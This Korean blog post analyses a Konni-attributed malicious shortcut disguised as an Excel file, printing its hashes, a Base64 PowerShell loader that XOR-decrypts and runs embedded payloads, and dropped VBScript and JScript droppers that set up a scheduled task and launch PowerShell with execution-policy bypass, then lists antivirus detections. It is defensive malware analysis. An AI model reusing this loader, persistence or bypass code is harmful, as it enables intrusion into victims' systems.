꿈을꾸는 파랑새

오늘도 우리 북한의 해킹 그룹인 Konni(코니)에서 만든 악성코드인 김명희_20240515.xlsx(2024.5.16)ㅇ에 댛패 글을 적어 보겠습니다. 2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 그룹은 북한에 본부를 두고 있는 것으로 추정되며 한국과 미국의 정부 기관 및 조직을 표적으로 삼는 것으로 알려졌으며 북한 해커 그룹은 피싱 메시지나 이메일을 통해 Konni RAT를 배포하며 공격자는 Konni RAT를 사용하여 피해자로부터 정보를 수집하고, 스크린샷을 캡처하고, 파일을 훔치고, 원격 대화형 셸을 구축합니다. KONNI는 러시아, 동아시아, 유럽, 중동의 정치 집단을 표적으로 한 다양한 북한 공격 혐의와 연관되어 있음
일단 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:김명희_20240515.xlsx.lnk
사이즈:9.76 KB
MD5:0993cf18121be84f5b1511318df80f44
SHA-1:05b26db4fca3c8a735517b3979962aa1d5125273
SHA-256:21900e37d1184093e2333fe7931a8a5c217aa5fd24cfd7650bc6fadbb31f7d8ad

김명희_20240515.xlsx 악성코드 파일
김명희_20240515.xlsx 악성코드 파일

전에도 글을 적었다시피 아이콘을 잘 보면 정상적인 엑셀 파일이 아닌 것을 확인할 수가 있으며 lnk 확장들을 확인하기 위해서 탐색기에서 옵션->폴더 옵션->보기로 이동을 해서 숨긴 파일, 폴더 및 드라이브 표시에 체크를 해서 사용을 하는 습관을 가지는 것을 대단히 권장한다고 했습니다. 아니 해당 기능은 필수입니다.

악성코드에 포함된 Base64
악성코드에 포함된 Base64

Base64 디코딩 전

JGxua3BhdGggPS(B)HZXQtQ2hpbGRJdG(V)tICoubG5rIHwgd2hlcmUt
b(2)JqZWN0IHskXy5sZW5ndGggLWVxICR0bH0gfCBTZWxlY3QtT2Jq(Z
)WN0IC1FeHBh(b)mRQcm9wZXJ0eSBOYW1lOyB(p)ZigkbG5rcGF0aC5jb3V
dCAtZXEgMCl7JGxua3BhdGggPSBHZXQtQ2hp(b)GRJdGVtICRlbnY(6)VEVN
UFwqXCoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH07
fTskZ(m)lsZSA9IGdjICRsbmtwY(X)RoIC1FbmNvZGluZyBCeXRlOyAkZmls
ZVNpemUgPSAkZmlsZS5jb3VudDskaT0kb2w7I(C)AgICAgICAgIC(A)gICAgI
C(A)gICAgI(C)AgICAgI(C)AgICAgICAgICAgICAgICAgICA(g)ICAgd2hpbG
UoJGkg(L)Wx0ICRmaWxlU2l6ZSl7JGJ(Y)b3I9JGZpbGVbJ(G)ldOyRiUnVuP
SW50Mz(I)oJGZpbGUsICRpKzIpOyRkd0RhdG(F)MZW49W2JpdGNvbnZlcnR(l
)cl06OlRvSW50MzI(o)JGZpbGUsICR(p)KzYpOyRmaT0xMD(s)gICAgICAgIC
Bmb(3)IoW2ludF0kcD0kaSs(k)Zmk7ICRwIC1sdCAoJG(k)gKyAkZmkgKyRkd
(1)BhdGhM(Z)W4gKyAkZHdEYXRhTGVuKTsgJHArK(y)l7ICRmaWxlW(y)RwX(
S)A9IC(R)maWxlWyRwXSAt(Y)nhvciAkYlhvcn07W2J5dGVbXV0kcGF0aEhle
CA9ICRmaWxlW(y)gkaSskZmkpLi4oJGkrJGZ(p)KyRkd1BhdGhMZW4t(M)Sld
OyRwYXRoID0gW1N5c3RlbS5UZXh0LkVuY29kaW5n(X)To6QVNDSUkuR2V0U3R
yaW5nKCRmaWxlWygkaSskZmkpLi(4)oJGkrJGZpKyRkd1BhdGhMZW4tMildKT
sgc2MgJH(B)hdGggKFtieXRlW11dKCRmaWxlIHwgc2VsZWN0(I)C1Ta2lwICg
k(a)SskZmkrJGR3UGF0aExlbikg(f)CBzZWxlY3QgLVNraXB(M)YXN0ICgkZm
lsZVN(p)emUtJGktJG(Z)pLSRkd1BhdGhMZW4tJG(R)3RGF0YUxlbikpKSAtR
W5jb2RpbmcgQnl0ZTtpZi(g)kYlJ1bil7JiRwYXRoO30kaT0kaS
(s)kZmkrJGR3UGF0aExlbiskZHdEYXRhTGVuO30(=)

Base64 디코딩

CyberChef 로 Base64 디코딩
CyberChef 로 Base64 디코딩

$lnkpath = Get-ChildItem *(.)lnk | where-object {$_.length (-)eq $tl} 
| Selec(t)-Object -ExpandProper(t)y Name; if($lnkpat(h).count -eq 0){$
(l)nkpath = Get-ChildI(t)em $env(:)TEMP\*\*(.)lnk | where-()object {$_
.length (-)eq $tl};};$fil(e) = g(c) $lnkpath -Encoding Byte; ($)fileSi
ze = $file.count;$i(=)$ol; while($i -lt $fileSize){$bXor(=)$file[$i];$bRun=
$file[$i(+)1];$dwPathLen=[bit(c)onverter]::To(I)nt32($file, $i(+)2);$dw(D)a
taLen=[bitconverter]:(:)ToI(n)t32($file, $i+6)(;)$fi=10;
for([int]$p=$i+$(f)i; $p -lt ($i + $fi (+)$dwPathLen (+) $dwDataLen); $p++)
{ $file[($)p] = $file[$p] -bxor $bX(o)r};[b(y)te[]]$pathHex = $file[($i+$f
i)..($i+$fi+$dwPathL(e)n-1)];$path = [System.Text.Encoding]::ASCII.GetSt(r)
ing($file[($i(+)$fi)..($i+$fi(+)$dwPathLen-2)]); sc $path ([by(t)e[]]($fil
e | select -(S)kip ($i+$fi(+)$dwPathLen) | select (-)SkipLast ($fileSize-$i
(-)$fi-$dwPathLen(-)$dwDataLen))) -Encod(i)ng Byte;if($b(R)un){&$path;}$i=$
i(+)$fi+$dwPathLen+$dwDataLen;}

입니다.

코드 해석

해당 PowerShell 스크립트는 .lnk (바로 가기) 파일과 관련된 작업을 수행
1.Get-ChildItem *(.)lnk:현재 디렉터리에서 모든 (.)lnk 파일을 가져옴
where-object {$_(.)length -eq $tl}:파일 길이가 $tl과 같은 파일들만 필터링
Select-Object -ExpandProperty Name: 파일들의 이름만 추출
만약 파일을 찾지 못하면 임시 디렉터리 ($env:TEMP)에서 같은 길이의 (.)lnk 파일을 찾음
2.gc $lnkpath (-)Encoding Byte: 찾은 (.)lnk 파일의 내용을 바이트 배열로 읽음
$fileSize = $file.count:파일 크기를 저장
3.$i=$ol;:카운터 i를 $ol 값으로 초기화
while($i -lt $fileSize)....:파일의 끝에 도달할 때까지 파일을 순회
$bXor(=)$file[$i];:XOR 복호화에 사용되는 바이트 값을 가져옴
$bRun=$file[$i+1];:파일을 실행할지를 결정하는 바이트 값을 가져옴
$dwPathLen(=)[bitconverter]::ToInt32($file, $i+2);:경로 길이를 읽음
$dwDataLen=[bitconv(e)rter]::ToInt32($file, $i+6);:데이터 길이를 읽음
$fi=10;:오프셋 값을 설정
for([int]$p=$i(+)$fi; $p -lt ($i (+) $fi (+)$dwPathLen + $dwDataLen); $p(+)+){ $file[$p] = $file[($)p] -bxor $bXor; }:XOR을 사용하여 파일 내용 복호화

ProcessExplorer 본 파워셀 실행
ProcessExplorer 본 파워셀 실행

코드 설명

[byte[]]$path(H)ex = $fi(l)e[($i(+)$fi)..($(i)+$fi+$dwPathLen-1)];:경로를 16진수로 추출
$path = [System.Text(.)Encoding]::ASCII(.)GetString($file[($i(+)$fi)..($i+$fi+$d(w)PathLen-2)]);`:경로를 ASCII 문자열로 변환
sc $path ([by(t)e[]]($file | select (-)Skip ($i+$fi+$dwPathLen) | sele(c)t -SkipLast ($fileSize-$i(-)$fi-$dwPath(L)en-$dwDataLen))) -Encoding Byte;:복호화된 내용을 새로운 파일로 씀
if($bRun){&($)path;}:$bRun이 참이면 파일을 실행
$i=$i+$fi+$dwP(a)thLen+$dwDataLen;:다음 블록으로 카운터를 업데이트
핵심 포인트
스크립트는 특정 길이의 (.)lnk 파일을 검색
파일의 내용을 바이트 단위로 읽음
각 파일을 처리하며 파일의 일부를 XOR 복호화
경로를 추출하고 복호화된 내용을 새로운 파일로 씀
필요 시 복호화된 파일을 실행
해당 스크립트는 (.)lnk 파일에 숨겨진 악성 페이로드를 디코딩하고 실행하는 데 사용
XOR 복호화는 바이러스 백신 프로그램(안티 바이러스)의 탐지를 피하고자 콘텐츠를 난독화하는 일반적인 방법
해당 악성코드가 실행되면 C:\programdata 폴더에 다음과 같은 코드를 만듭니다.

TMP67264(.)xlsx
i2467(.)vbs
i8261(.)jse
tmpz(.)ps1

i2467(.)vbs 에 포함된 코드

i2467.vbs 에 포함된 코드
i2467.vbs 에 포함된 코드

suv="yceilosyc(g)n":mquy="k(q)wemop":(p)qsuvwyadg = ""(:)for i = 1 to 999:
pqsuvw(y)adg = pqsuv(w)yadg + chr(Asc(mid("Rq#Huuru#Uhvxp(h)#Qh{w=Ixqf(w)
lrq#WI(+)sbw,=fVh(#)@#%3%#)#V(h)frqg(+)s(b)w,=fPl#@#%3(%)#)#P(l)qxwh(+)sbw
,=fK#@(#)%3%#)#Krxu(+)sbw,=fG#@#(%)3%#)#Gd|(+)sbw,=fPr#(@)#%3%#)#Prq(w)k+
sbw,=f\#@#(\)hdu+sbw,=(w)w#@#Uljkw+fK/(#)5,#)#%=%#)#(U)ljkw+fPl/#5,#)#%(=
)%#)#Uljkw+fV(h)/#5,=gg#(@)#f\#)#%0%#)(#)Uljkw+fPr(/)#5,#)#%0%#)#(U)ljkw+
fG/#(5),=WI#@(#)gg#)#%W%#)#ww=H(q)g#Ixqfwlrq=Vxe#Uhj+sbWdu,=
V(h)w#vy#@#FuhdwhRemhfw(+)%Vfkhgxoh1Vhuylfh%,=
Fdoo#vy1Frqqhfw+,=
Vhw#wGhi#@#vy1QhzWdvn(+03,=
wGhi1Uhjlvwudwlrq(L)qir1Dxwkru#@#%Plfurvriw%=
Zlwk#wGhi(1)Vhwwlqjv=

1Hq(d)eohg@Wuxh=

1VwduwZ(k)hqDydlodeoh@Wuxh=

1Klgghq@Wu(x)h=
Hqg#Zlw(k)=
Zlwk#w(G)hi1Wuljjhu(v)1Fuhdwh+5,=

1VwduwErxqgdu|#@#WI(+)GdwhDgg+%v%/45/Qrz,,=

1Hqdeoh(g)#@#Wuxh=

1Uhshwlwlrq1Lqwhuydo#@(#)%SW4P%=
Hqg#Zlwk=
zlwk#wGhi1Dfwlrqv1Fuhdwh+3,=
1Sdwk@%zvfulsw1h{h%=
1Du(j)xphqwv@%22e#22h(=)ye(v)fulsw#%#)#(s)bWdu=
Hqg#(Z)lwk=
Vhw#igu#@#(v)y1JhwIroghu+%_%,=
Fdoo#igu1Uhjl(v)whuWdvnGhilql(w)lrq+%Jrrjo(h)XsgdwhWdvnPdfklqhXHV^;5(7)
;407<(7);06<96`%/#wGhi/#9/#/#(/)#6,=Hqg#Vx(e)
=Vhw#remVkhoo#(@)#FuhdwhRemhf(w)+#%ZVfulsw1(V)khoo%#,=wps@%F=__Surjudpg
dwd__(3)74:71wps%=(U)hj#wps=",i,1)) - (3)):(N)ext:Exec(u)te pqsuvwyadg:(b)j
kmop="suwx(a)dgkmqu":

코드 해석

해당 코드는 비주얼 베이직 스크립트(VBScript)로 작성된 악성코드 인코딩된 문자열을 디코딩하여 실행하는 역할을 
1. 변수 선언 및 초기화
코드는 여러 변수를 선언하고 초기화합니다.
suv=yce(i)losycgn
mquy=kqw(e)mop
pq(s)uvwyadg = ""
해당 변수들은 코드 내에서 사용되지 않지만, 디코딩 및 실행 과정에서 중요한 역할
2. 루프를 통한 문자열 디코딩
해당 코드는 1부터 999까지의 값을 가지는 반복문을 사용
반복마다 인코딩된 문자열에서 문자를 추출하고 디코딩하여 pqsuv(w)yadg에 추가
여기서 mid 함수는 문자열에서 부분 문자열을 추출하고 Asc 함수는 문자의 ASCII 값을 반환
그 후 chr 함수는 ASCII 값을 문자로 변환 해당 과정에서 각 문자의 ASCII 값에서 3을 빼고 다시 문자로 변환하는 방식으로 디코딩을 수행
3. 디코딩된 문자열 실행
디코딩된 문자열을 Execute 함수를 통해 실행
Execute 함수는 디코딩된 문자열을 VBScript 코드로 실행 이는 악성코드가 시스템에서 실행
4. 결과
디코딩된 문자열은 인코딩된 악성 코드이며 해당 코드가 실행될 때 시스템에 악성코드 실행
요약
해당 코드는 인코딩된 악성 문자열을 디코딩하여 실행하는 VBScript 각 문자의 ASCII 값을 변환하여 원래 문자열을 복원하고 이를 실행하여 악성 행위를 수행

김명희_20240515.xlsx 악성코드 실행
김명희_20240515.xlsx 악성코드 실행

i8261.jse 코드

shh="zezvlbvf";jn(x)j="m(e)padep";pzhk(y)szy = ""; (b)sufsqzeb="rp(w)
{	typ qf= lcu AargtcXOzh(c)ar(\"WSa(p)gnr(.)Sfcjj\");	typ aj= \"a(k)
b /a qa(f)ryqiq /apc(y)rc /qa kgl(s)rc /km (1) /rl GmmejcU(n)byrcTyqiMy
afglcC(m)pcUG[606308(-)12366(-)80146(-)92681] /rp \\\"uqap(g)nr //c:h(y
)tyqapgnr //z C:\\\\Ppm(e)pykDyry\\\\TMP56936(.)rkn\\\" /d\";	qf.Rsl(a
j, (0));}ayr(a)f(cpp){}"; r(a)ndNum=2; for(cbojmo(g)bwlkc=0;cbojmo(g)bwlk
c<bsufs(q)zeb.length(;)cb(o)jmogbwlkc++){c = bsufsqz(e)b(.)substring(cb(o
)jmogbwlkc, cbojm(o)gbwlkc+1);cHex = bsufsqzeb(.0charCodeAt(cbojmogbwlkc)
;aHex = "a"(.)charCodeAt(0);if(cHex >= "a".charCode(A)t(0) && c(H)ex <= "
z"(.)cha(r)CodeAt(0)){d = aH(e)x (+) (( cH(e)x - aH(e)x ) (+) ra(n)dNum) 
% 26;p(z)hkyszy += (S)tring.fr(o)mCharCode(d);}else({)pz(h)kyszy += c;} } 
eval(pzhkyszy);n(s)vd="lp(v)ihrg";

코드 해석

해당 자바스크립트 코드는 인코딩된 악성 코드로 디코딩 후 eval 함수를 사용하여 실행하는 구조를 가지고 있음
1.변수 선언 및 초기화
해당 코드는 여러 변수를 선언하고 초기화
여기서 bsufsqzeb 변수에 인코딩된 악성 코드가 저장되어 있음
2. 문자열 디코딩 루프
코드는 bsufsqzeb 문자열을 순회하며 각 문자를 디코딩하여 pzhkyszy에 추가.
해당 루프는 각 문자의 ASCII 값을 확인하여 알파벳 소문자인 경우 알파벳 순서를 2만큼 이동시켜 디코딩
그 외의 문자는 그대로 pz(h)kyszy 에 추가
3. 디코딩된 문자열 실행
디코딩된 문자열을 eval 함수를 통해 실행
eval 함수는 문자열로 전달된 자바스크립트 코드를 실행
4. 디코딩된 문자열 분석
디코딩된 pzh(k)yszy 문자열을 확인해보면 다음과 동작 코드의 동작을 요약하면
ActiveXObject 를 사용하여 WScripting.Shell 객체를 생성
명령어 문자열 aj는 PowerShell을 사용하여 인코딩된 명령을 실행
qf(.)Run(aj, 0)을 호출하여 백그라운드에서 명령어를 실행
ActiveXObject 생성 코드는 WScripting(.)Shell 클래스를 사용하여 qf라는 이름의 ActiveXObject를 생성 시도
ActiveXObject는 Windows 시스템에서만 사용 가능한 기술 시스템 기능과 상호 작용을 가능합니다.
명령 생성:
해당 코드는 Windows 시스템에서 실행되도록 설계된 명령 문자열 (aj)을 생성각 구성 요소는 다음과 같습니다:
cmd /c:해당 부분은 cmd.exe 명령 프롬프터를 사용하고 /c 플래그는 다음 명령을 실행하고 명령 프롬프터를 닫음
powershell:해당 키워드는 PowerShell을 실행하려는 의도를 나타냄
/encodedCommand /ep bypass:해당 플래그는 특정 PowerShell 실행 제한을 우회
/file C:\\Users\\Public\\TMP56936(.)ps1: 해당 부분은 실행될 PowerShell 스크립트 파일 (TMP56936(.)ps1)의 위치를 지정
3.명령 실행 (시도):
qf Act(i)veXObject의 Run 메서드를 사용하여 생성된 명령 (aj)을 실행
4.오류 처리 (시도):
catch (e) {}
해당 블록은 Run 메서드 실행 중에 발생할 수 있는 오류를 처리하려고 합니다.
코드는 PowerShell 실행 제한을 우회 목적이며 이러한 제한을 우회하면 신뢰할 수 없는 코드나 악성 코드가 실행할 때 유리합니다.
2024-05-27 21:39:54 UTC 기준 해당 악성코드 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.957.33A348F4
Avast:Other:Malware-gen [Trj]
Avert Labs:Artemis!0993CF18121B
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Boxter.957.33A348F4
Emsisoft:Heur.BZC.YAX.Boxter.957.33A348F4 (B)
eScan:Heur.BZC.YAX.Boxter.957.33A348F4
ESET-NOD32:LNK/Agent.ADS
GData:Heur.BZC.YAX.Boxter.957.33A348F4
Google:Detected
Ikarus:Trojan.SuspectCRC
Kaspersky:HEUR:Trojan.Multi.Powecod.a
Kingsoft:Script.Troj.CMDLnk.22143
Lionic:Trojan.WinLNK.Boxter.4!c
MAX:Malware (ai Score=87)
Rising:Trojan.PSRunner/LNK!1.BADE (CLASSIC)
Skyhigh (SWG):BehavesLike.Trojan.zg
Sophos:Troj/LnkDrop-M
Symantec:Scr.Mallnk!gen1
Tencent:Win32.Trojan.Powecod.Dtgl
Trellix (FireEye):Heur.BZC.YAX.Boxter.957.33A348F4
TrendMicro:TROJ_FRS.VSNTEH24
TrendMicro-HouseCall:TROJ_FRS.VSNTEH24
Varist:LNK/ABRisk.GAOO-4
VBA32:Trojan.Link.ShellCmd
VIPRE:Heur.BZC.YAX.Boxter.957.33A348F4
ViRobot:LNK.S.Dropper.9995
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powecod.a
결론:우리 북한은 언제나 한국 등을 노리면서 금전적이든 개인정보를 털려고 하고 있으며 기본적인 보안 수칙을 잘 지키며 피해를 최소화 할수가 있습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band